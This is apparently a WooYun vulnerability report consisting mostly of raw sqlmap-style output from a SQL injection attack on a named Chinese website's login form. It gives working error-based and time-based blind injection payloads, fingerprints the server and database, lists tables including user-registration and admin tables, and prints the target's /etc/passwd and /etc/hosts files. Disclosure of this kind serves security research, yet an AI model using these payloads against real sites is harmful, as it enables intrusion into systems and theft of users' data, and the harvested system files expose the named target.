WooYun.org

Parameter: Password (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: email=test@xiabu.com&Password=1qaz2wsx AND (SELECT 8852 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(8852=8852,1))),0x7178717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- vGLe&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: email=test@xiabu.com&Password=1qaz2wsx AND (SELECT * FROM (SELECT(SLEEP(5)))VVpc)-- kCHu&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
---
web server operating system: Windows NT 4.0 or 7
web application technology: PHP 5.4.27, Apache 2.2.27
back-end DBMS: MySQL 5.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] xiabu

Database: xiabu
+-----------------+---------+
| Table           | Entries |
+-----------------+---------+
| web_reg         | 5597    |注册用户
| web_message     | 958     |
| web_dianpu      | 493     |
| en_dianpu       | 428     |
| web_show        | 178     |
| web_dianpu_type | 98      |
| en_dianpu_type  | 74      |
| web_news        | 56      |
| en_show         | 40      |
| web_jobs_type   | 30      |
| web_jobs        | 22      |
| en_jobs_type    | 18      |
| en_ads          | 17      |
| en_diaocha      | 16      |
| web_diaocha     | 16      |
| en_about        | 15      |
| en_news         | 14      |
| en_show_type    | 14      |
| web_about       | 13      |
| web_show_type   | 13      |
| web_ygfc        | 11      |
| en_reg          | 8       |
| en_wenda        | 8       |
| web_wenda       | 8       |
| en_jobs         | 7       |
| en_links        | 7       |
| web_ads         | 7       |
| web_links       | 7       |
| en_admin        | 6       |
| en_news_type    | 6       |
| web_admin       | 6       |
| web_news_type   | 6       |
| en_ygfc         | 5       |
| en_ads_type     | 4       |
| web_slide       | 4       |
| en_message      | 3       |
| en_slide        | 2       |
| web_ads_type    | 2       |
| en_base         | 1       |
| en_setting      | 1       |
| en_ygfc_type    | 1       |
| web_base        | 1       |
| web_setting     | 1       |
| web_ygfc_type   | 1       |
+-----------------+---------+

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
www:x:500:500::/alidata/www:/sbin/nologin
mysql:x:501:501::/home/mysql:/sbin/nologin

127.0.0.1 localhost
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
10.144.46.176 AY14061214481586734fZ
10.163.253.61 iZ2817lk55sZ